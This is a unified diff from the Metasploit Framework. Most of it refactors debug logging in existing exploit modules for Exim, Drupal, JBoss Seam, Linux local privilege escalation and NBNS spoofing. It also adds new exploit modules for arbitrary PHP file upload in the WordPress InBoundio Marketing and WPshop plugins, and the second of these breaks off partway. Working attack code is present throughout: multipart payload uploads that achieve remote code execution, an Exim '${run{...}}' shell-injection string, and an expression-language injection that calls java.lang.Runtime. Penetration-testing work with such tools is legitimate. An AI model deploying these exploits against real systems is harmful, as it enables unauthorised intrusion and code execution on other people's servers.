||||||
end
|
end
|
||||||
return ""
|
return ""
|
||||||
|
|
|
@ -47,10 +47,6 @@ attr_accessor :sock, :thread
|
||||||
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 300]),
|
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 300]),
|
||||||
])
|
])
|
||||||
|
|
||||||
register_advanced_options([
|
|
||||||
OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
|
|
||||||
])
|
|
||||||
|
|
||||||
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
||||||
self.thread = nil
|
self.thread = nil
|
||||||
self.sock = nil
|
self.sock = nil
|
||||||
|
|
|
@ -46,10 +46,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
|
OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
|
||||||
])
|
])
|
||||||
|
|
||||||
register_advanced_options([
|
|
||||||
OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false])
|
|
||||||
])
|
|
||||||
|
|
||||||
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
||||||
self.thread = nil
|
self.thread = nil
|
||||||
self.sock = nil
|
self.sock = nil
|
||||||
|
@ -90,20 +86,18 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
|
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
|
||||||
|
|
||||||
if datastore['DEBUG']
|
vprint_status("transid: #{nbnsq_transid.unpack('H4')}")
|
||||||
print_status("transid: #{nbnsq_transid.unpack('H4')}")
|
vprint_status("tlags: #{nbnsq_flags.unpack('B16')}")
|
||||||
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
|
vprint_status("questions: #{nbnsq_questions.unpack('n')}")
|
||||||
print_status("questions: #{nbnsq_questions.unpack('n')}")
|
vprint_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
|
||||||
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
|
vprint_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
|
||||||
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
|
vprint_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
|
||||||
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
|
vprint_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
|
||||||
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
|
vprint_status("full name: #{nbnsq_name.slice(1..-2)}")
|
||||||
print_status("full name: #{nbnsq_name.slice(1..-2)}")
|
vprint_status("decoded: #{decoded}")
|
||||||
print_status("decoded: #{decoded}")
|
vprint_status("decoded name: #{nbnsq_decodedname}")
|
||||||
print_status("decoded name: #{nbnsq_decodedname}")
|
vprint_status("type: #{nbnsq_type.unpack('n')}")
|
||||||
print_status("type: #{nbnsq_type.unpack('n')}")
|
vprint_status("class: #{nbnsq_class.unpack('n')}")
|
||||||
print_status("class: #{nbnsq_class.unpack('n')}")
|
|
||||||
end
|
|
||||||
|
|
||||||
# time to build a response packet - Oh YEAH!
|
# time to build a response packet - Oh YEAH!
|
||||||
response = nbnsq_transid +
|
response = nbnsq_transid +
|
||||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
send_response(cli, apk_bytes, magic_headers)
|
send_response(cli, apk_bytes, magic_headers)
|
||||||
end
|
end
|
||||||
elsif req.uri =~ /_poll/
|
elsif req.uri =~ /_poll/
|
||||||
vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"
|
vprint_status("Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}")
|
||||||
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
|
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
|
||||||
elsif req.uri =~ /launch$/
|
elsif req.uri =~ /launch$/
|
||||||
send_response_html(cli, launch_html)
|
send_response_html(cli, launch_html)
|
||||||
|
|
|
@ -57,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
||||||
OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
|
OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
|
||||||
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
|
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
|
||||||
OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ])
|
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ])
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -327,7 +327,7 @@ int main(int argc,char *argv[], char ** envp)
|
||||||
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
||||||
main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")
|
main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")
|
||||||
main.gsub!(/COUNT/, datastore["Count"].to_s)
|
main.gsub!(/COUNT/, datastore["Count"].to_s)
|
||||||
main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG']
|
main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG_EXPLOIT']
|
||||||
|
|
||||||
cpu = nil
|
cpu = nil
|
||||||
if target['Arch'] == ARCH_X86
|
if target['Arch'] == ARCH_X86
|
||||||
|
@ -349,7 +349,7 @@ int main(int argc,char *argv[], char ** envp)
|
||||||
rm_f executable_path
|
rm_f executable_path
|
||||||
write_file(executable_path, elf)
|
write_file(executable_path, elf)
|
||||||
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
|
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
|
||||||
output.each_line { |line| print_debug line.chomp }
|
output.each_line { |line| vprint_status(line.chomp) }
|
||||||
|
|
||||||
stime = Time.now.to_f
|
stime = Time.now.to_f
|
||||||
print_status "Starting the payload handler..."
|
print_status "Starting the payload handler..."
|
||||||
|
|
|
@ -66,7 +66,7 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
||||||
])
|
])
|
||||||
register_options([
|
register_options([
|
||||||
OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
|
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -85,7 +85,7 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
#endif
|
#endif
|
||||||
|
|
|
|
||||||
current_task_struct_h(sc)
|
current_task_struct_h(sc)
|
||||||
if datastore["DEBUG"]
|
if datastore["DEBUG_EXPLOIT"]
|
||||||
cparser.parse "#define DEBUG\n"
|
cparser.parse "#define DEBUG\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -446,7 +446,7 @@ int main(int argc, char **argv) {
|
||||||
rm_f executable_path
|
rm_f executable_path
|
||||||
write_file(executable_path, elf)
|
write_file(executable_path, elf)
|
||||||
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
|
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
|
||||||
output.each_line { |line| print_debug line.chomp }
|
output.each_line { |line| vprint_status(line.chomp) }
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -195,8 +195,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def execute_command(cmd, opts)
|
def execute_command(cmd, opts)
|
||||||
vprint_debug(cmd)
|
|
||||||
|
|
||||||
# Get the length of the command, for the backdoor's command injection
|
# Get the length of the command, for the backdoor's command injection
|
||||||
cmd_length = cmd.length
|
cmd_length = cmd.length
|
||||||
|
|
||||||
|
|
|
@ -97,7 +97,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
|
|
||||||
rescue
|
rescue
|
||||||
peer = "#{rhost}:#{rport}"
|
peer = "#{rhost}:#{rport}"
|
||||||
vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")
|
vprint_status("#{peer} - Caught #{$!.class}: #{$!.message}")
|
||||||
|
|
||||||
ensure
|
ensure
|
||||||
smtp_disconnect
|
smtp_disconnect
|
||||||
|
@ -160,14 +160,14 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
16.times do
|
16.times do
|
||||||
done = catch(:another_heap_shift) do
|
done = catch(:another_heap_shift) do
|
||||||
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
|
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
|
||||||
print_debug("#{{ heap_shift: heap_shift }}")
|
vprint_status("#{{ heap_shift: heap_shift }}")
|
||||||
|
|
||||||
# write the malloc_chunk header at increasing offsets (8-byte step),
|
# write the malloc_chunk header at increasing offsets (8-byte step),
|
||||||
# until we overwrite the "503 sender not yet given" error message
|
# until we overwrite the "503 sender not yet given" error message
|
||||||
|
|
||||||
128.step(256, 8) do |write_offset|
|
128.step(256, 8) do |write_offset|
|
||||||
error = try_information_leak(heap_shift, write_offset)
|
error = try_information_leak(heap_shift, write_offset)
|
||||||
print_debug("#{{ write_offset: write_offset, error: error }}")
|
vprint_status("#{{ write_offset: write_offset, error: error }}")
|
||||||
throw(:another_heap_shift) if not error
|
throw(:another_heap_shift) if not error
|
||||||
next if error == "503 sender not yet given"
|
next if error == "503 sender not yet given"
|
||||||
|
|
||||||
|
@ -179,7 +179,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
error[i] = try_information_leak(heap_shift, write_offset + i*8)
|
error[i] = try_information_leak(heap_shift, write_offset + i*8)
|
||||||
throw(:another_heap_shift) if not error[i]
|
throw(:another_heap_shift) if not error[i]
|
||||||
end
|
end
|
||||||
print_debug("#{{ error: error }}")
|
vprint_status("#{{ error: error }}")
|
||||||
|
|
||||||
_leaked_arch = leaked_arch
|
_leaked_arch = leaked_arch
|
||||||
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
|
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
|
||||||
|
@ -197,7 +197,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
else
|
else
|
||||||
throw(:another_heap_shift)
|
throw(:another_heap_shift)
|
||||||
end
|
end
|
||||||
print_debug("#{{ leaked_arch: leaked_arch }}")
|
vprint_status("#{{ leaked_arch: leaked_arch }}")
|
||||||
fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
|
fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
|
||||||
|
|
||||||
# try different large-bins: most of them should be empty,
|
# try different large-bins: most of them should be empty,
|
||||||
|
@ -211,7 +211,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
|
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
|
||||||
count[error] += 1
|
count[error] += 1
|
||||||
end
|
end
|
||||||
print_debug("#{{ count: count }}")
|
vprint_status("#{{ count: count }}")
|
||||||
throw(:another_heap_shift) if count.empty?
|
throw(:another_heap_shift) if count.empty?
|
||||||
|
|
||||||
# convert count to a nested array of [key, value] arrays and sort it
|
# convert count to a nested array of [key, value] arrays and sort it
|
||||||
|
@ -345,7 +345,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
|
encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
|
||||||
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
|
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
|
||||||
command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
|
command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
|
||||||
print_debug(command)
|
vprint_status("Command: #{command}")
|
||||||
|
|
||||||
# don't try to execute commands directly, try a very simple ACL first,
|
# don't try to execute commands directly, try a very simple ACL first,
|
||||||
# to distinguish between exploitation-problems and shellcode-problems
|
# to distinguish between exploitation-problems and shellcode-problems
|
||||||
|
@ -407,9 +407,9 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
# (we don't control what's stored at heap_addr)
|
# (we don't control what's stored at heap_addr)
|
||||||
|
|
||||||
rand_offset = rand(max_rand_offset)
|
rand_offset = rand(max_rand_offset)
|
||||||
print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
|
vprint_status("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
|
||||||
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
|
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
|
||||||
print_debug("#{{ reply: reply }}") if reply
|
vprint_status("#{{ reply: reply }}") if reply
|
||||||
|
|
||||||
if reply and
|
if reply and
|
||||||
reply[:code] == "550" and
|
reply[:code] == "550" and
|
||||||
|
@ -419,7 +419,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
print_good("Please wait for reply...")
|
print_good("Please wait for reply...")
|
||||||
# execute command this time, not acldrop
|
# execute command this time, not acldrop
|
||||||
reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
|
reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
|
||||||
print_debug("#{{ reply: reply }}")
|
vprint_status("#{{ reply: reply }}")
|
||||||
return handler
|
return handler
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
|
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
|
||||||
OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false])
|
OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
|
||||||
], Auxiliary::Timed)
|
], Auxiliary::Timed)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# @return [String] containing javascript that will alert a debug string
|
# @return [String] containing javascript that will alert a debug string
|
||||||
# if the DEBUG is set to true
|
# if the DEBUG is set to true
|
||||||
def js_debug(str, quote="'")
|
def js_debug(str, quote="'")
|
||||||
if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end
|
if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
|
||||||
end
|
end
|
||||||
|
|
||||||
# @return [String] HTML that is sent in the first response to the client
|
# @return [String] HTML that is sent in the first response to the client
|
||||||
|
|
|
@ -97,10 +97,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_request_uri( cli, request )
|
def on_request_uri( cli, request )
|
||||||
print_debug("Requesting: #{request.uri}")
|
vprint_status("Requesting: #{request.uri}")
|
||||||
if request.uri !~ /\.jar$/i
|
if request.uri !~ /\.jar$/i
|
||||||
if not request.uri =~ /\/$/
|
if not request.uri =~ /\/$/
|
||||||
print_status("Sending redirect...")
|
vprint_status("Sending redirect...")
|
||||||
send_redirect(cli, "#{get_resource}/", '')
|
send_redirect(cli, "#{get_resource}/", '')
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
|
@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
md5_base64 = phpass_encode64(md5, md5.length)
|
md5_base64 = phpass_encode64(md5, md5.length)
|
||||||
md5_stripped = md5_base64[0...22]
|
md5_stripped = md5_base64[0...22]
|
||||||
pass = "$P\\$" + iter_char + salt + md5_stripped
|
pass = "$P\\$" + iter_char + salt + md5_stripped
|
||||||
vprint_debug("#{peer} - password hash: #{pass}")
|
vprint_status("#{peer} - password hash: #{pass}")
|
||||||
|
|
||||||
return pass
|
return pass
|
||||||
end
|
end
|
||||||
|
@ -129,8 +129,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
form_build_id = $1 if content =~ /name="form_build_id" value="(.+?)"/
|
form_build_id = $1 if content =~ /name="form_build_id" value="(.+?)"/
|
||||||
form_token = $1 if content =~ /name="form_token" value="(.+?)"/
|
form_token = $1 if content =~ /name="form_token" value="(.+?)"/
|
||||||
|
|
||||||
vprint_debug("#{peer} - form_build_id: #{form_build_id}")
|
vprint_status("#{peer} - form_build_id: #{form_build_id}")
|
||||||
vprint_debug("#{peer} - form_token: #{form_token}")
|
vprint_status("#{peer} - form_token: #{form_token}")
|
||||||
|
|
||||||
return form_build_id, form_token
|
return form_build_id, form_token
|
||||||
end
|
end
|
||||||
|
@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
cookie = res.get_cookies
|
cookie = res.get_cookies
|
||||||
vprint_debug("#{peer} - cookie: #{cookie}")
|
vprint_status("#{peer} - cookie: #{cookie}")
|
||||||
|
|
||||||
# call admin interface to extract CSRF token and enabled modules
|
# call admin interface to extract CSRF token and enabled modules
|
||||||
print_status("#{peer} - Trying to parse enabled modules")
|
print_status("#{peer} - Trying to parse enabled modules")
|
||||||
|
@ -280,7 +280,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
# get administrator role id
|
# get administrator role id
|
||||||
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
|
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
|
||||||
vprint_debug("#{peer} - admin role id: #{id}")
|
vprint_status("#{peer} - admin role id: #{id}")
|
||||||
|
|
||||||
unless id
|
unless id
|
||||||
fail_with(Failure::Unknown, "Could not parse out administrator ID")
|
fail_with(Failure::Unknown, "Could not parse out administrator ID")
|
||||||
|
|
|
@ -80,21 +80,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
|
'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
|
||||||
}, timeout=datastore['TIMEOUT'])
|
}, timeout=datastore['TIMEOUT'])
|
||||||
if (res and res.code == 302 and res.headers['Location'])
|
if (res and res.code == 302 and res.headers['Location'])
|
||||||
vprint_debug("Server sent a 302 with location")
|
vprint_status("Server sent a 302 with location")
|
||||||
if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))
|
if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))
|
||||||
report_vuln({
|
report_vuln({
|
||||||
:host => rhost,
|
:host => rhost,
|
||||||
:port => rport,
|
:port => rport,
|
||||||
:name => "#{self.name} - #{uri}",
|
:name => "#{self.name} - #{uri}",
|
||||||
:refs => self.references,
|
:refs => self.references,
|
||||||
:info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."
|
:info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."
|
||||||
})
|
})
|
||||||
return Exploit::CheckCode::Vulnerable
|
return Exploit::CheckCode::Vulnerable
|
||||||
else
|
else
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
return Exploit::CheckCode::Unknown
|
return Exploit::CheckCode::Unknown
|
||||||
end
|
end
|
||||||
|
|
||||||
# If we reach this point, we didn't find the service
|
# If we reach this point, we didn't find the service
|
||||||
|
@ -205,8 +205,6 @@ EOJSP
|
||||||
|
|
||||||
|
|
||||||
def get_full_path(filename)
|
def get_full_path(filename)
|
||||||
#vprint_debug("Trying to find full path for #{filename}")
|
|
||||||
|
|
||||||
uri = target_uri.path
|
uri = target_uri.path
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
{
|
{
|
||||||
|
@ -220,7 +218,6 @@ EOJSP
|
||||||
# the user argument should be set to the result of our call - which
|
# the user argument should be set to the result of our call - which
|
||||||
# will be the full path of our file
|
# will be the full path of our file
|
||||||
matches = /.*user=(.+)\&.*/.match(res.headers['Location'])
|
matches = /.*user=(.+)\&.*/.match(res.headers['Location'])
|
||||||
#vprint_debug("Location is " + res.headers['Location'])
|
|
||||||
if (matches and matches.captures)
|
if (matches and matches.captures)
|
||||||
return Rex::Text::uri_decode(matches.captures[0])
|
return Rex::Text::uri_decode(matches.captures[0])
|
||||||
else
|
else
|
||||||
|
@ -241,16 +238,16 @@ EOJSP
|
||||||
|
|
||||||
append = 'false'
|
append = 'false'
|
||||||
while (data.length > chunk_size)
|
while (data.length > chunk_size)
|
||||||
status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
|
status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
|
||||||
if status
|
if status
|
||||||
vprint_debug("Uploaded chunk")
|
vprint_status("Uploaded chunk")
|
||||||
else
|
else
|
||||||
vprint_error("Failed to upload chunk")
|
vprint_error("Failed to upload chunk")
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
data = data[chunk_size, data.length - chunk_size]
|
data = data[chunk_size, data.length - chunk_size]
|
||||||
# first chunk is an overwrite, afterwards, we need to append
|
# first chunk is an overwrite, afterwards, we need to append
|
||||||
append = 'true'
|
append = 'true'
|
||||||
end
|
end
|
||||||
status = upload_file_chunk(@payload_exe, 'true', data)
|
status = upload_file_chunk(@payload_exe, 'true', data)
|
||||||
if status
|
if status
|
||||||
|
@ -290,7 +287,7 @@ EOJSP
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_debug("Sending in chunks of #{chunk_size}")
|
vprint_status("Sending in chunks of #{chunk_size}")
|
||||||
|
|
||||||
case target['Platform']
|
case target['Platform']
|
||||||
when 'java'
|
when 'java'
|
||||||
|
|
|
@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_warning("#{peer} - File upload may have failed")
|
print_warning("#{peer} - File upload may have failed")
|
||||||
return fname
|
return fname
|
||||||
else
|
else
|
||||||
vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")
|
vprint_status("#{peer} - Received response: #{res.code} - #{res.body}")
|
||||||
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
|
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,79 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Wordpress InBoundio Marketing PHP Upload Vulnerability',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an arbitrary file upload in the WordPress InBoundio Marketing version
|
||||||
|
2.0. It allows to upload arbitrary php files and get remote code execution. This module
|
||||||
|
has been tested successfully on WordPress InBoundio Marketing 2.0.3 with Wordpress 4.1.3 on
|
||||||
|
Ubuntu 14.04 Server.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'KedAns-Dz', # Vulnerability discovery
|
||||||
|
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['EDB', '36478'],
|
||||||
|
['OSVDB', '119890'],
|
||||||
|
['WPVDB', '7864']
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [['InBoundio Marketing 2.0', {}]],
|
||||||
|
'DisclosureDate' => 'Mar 24 2015',
|
||||||
|
'DefaultTarget' => 0)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
check_plugin_version_from_readme('inboundio-marketing')
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
php_page_name = rand_text_alpha(8 + rand(8)) + '.php'
|
||||||
|
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{php_page_name}\"")
|
||||||
|
post_data = data.to_s
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(wordpress_url_plugins, 'inboundio-marketing', 'admin', 'partials', 'csv_uploader.php'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'data' => post_data
|
||||||
|
)
|
||||||
|
|
||||||
|
if res
|
||||||
|
if res.code == 200 && res.body.include?(php_page_name)
|
||||||
|
print_good("#{peer} - Our payload is at: #{php_page_name}.")
|
||||||
|
register_files_for_cleanup(php_page_name)
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, 'Server did not answer')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Calling payload...")
|
||||||
|
send_request_cgi(
|
||||||
|
{ 'uri' => normalize_uri(wordpress_url_plugins, 'inboundio-marketing', 'admin', 'partials', 'uploaded_csv', php_page_name) },
|
||||||
|
5
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,79 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WordPress WPshop eCommerce Arbitrary File Upload Vulnerability',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an arbitrary file upload in the WordPress WPshop eCommerce plugin
|
||||||
|
from version 1.3.3.3 to 1.3.9.5. It allows to upload arbitrary PHP code and get remote
|
||||||
|
code execution. This module has been tested successfully on WordPress WPshop eCommerce
|
||||||
|
1.3.9.5 with WordPress 4.1.3 on Ubuntu 14.04 Server.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'g0blin', # Vulnerability Discovery, initial msf module
|
||||||
|
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module Pull Request
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['WPVDB', '7830'],
|
||||||
|
['URL', 'https://research.g0blin.co.uk/g0blin-00036/']
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [['WPshop eCommerce 1.3.9.5', {}]],
|
||||||
|
'DisclosureDate' => 'Mar 09 2015',
|
||||||
|
'DefaultTarget' => 0)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
check_plugin_version_from_readme('wpshop', '1.3.9.6', '1.3.3.3')
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
php_page_name = rand_text_alpha(5 + rand(5)) + '.php'
|
||||||
|
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part('ajaxUpload', nil, nil, 'form-data; name="elementCode"')
|
||||||
|
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"wpshop_file\"; filename=\"#{php_page_name}\"")
|
||||||
|
post_data = data.to_s
|
